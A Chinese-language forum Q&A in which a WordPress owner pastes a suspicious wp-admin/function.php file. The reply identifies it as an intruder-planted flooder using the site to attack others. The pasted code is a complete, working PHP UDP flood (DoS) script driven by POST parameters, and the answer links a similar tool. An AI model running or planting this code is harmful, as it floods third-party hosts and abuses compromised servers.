我遇到fsockopen的问题。我的网站工作正常,但是当我登录管理面板(wordpress)时,我的屏幕上出现了这条错误消息:Warning: fsockopen() [function.fsockopen]: unable to connect to udp://:0 (Failed to parse address "") in /home/visit014/public_html/wp-admin/function.php on line 32
wp-admin / function.php的代码在这里:
`<?php
//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//www.ZeroDayExile.com
//=================================================
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
`
谁能帮帮我?我看到它有类似的问题,但没有一个与functions.php,所以代码是不同的。请帮我。谢谢!
答案 0 :(得分:0)
您的functions.php已遭到入侵和更改。有人正在使用您的网站攻击其他人。它不应该包含任何这样的代码,重新上载一个干净的脚本版本,你应该很好。
这里可以找到一个非常相似的脚本,它用于向受害者发出洪水攻击。 https://code.google.com/p/php-dos-attacker/downloads/detail?name=php-dos-attacker-1.2b.zip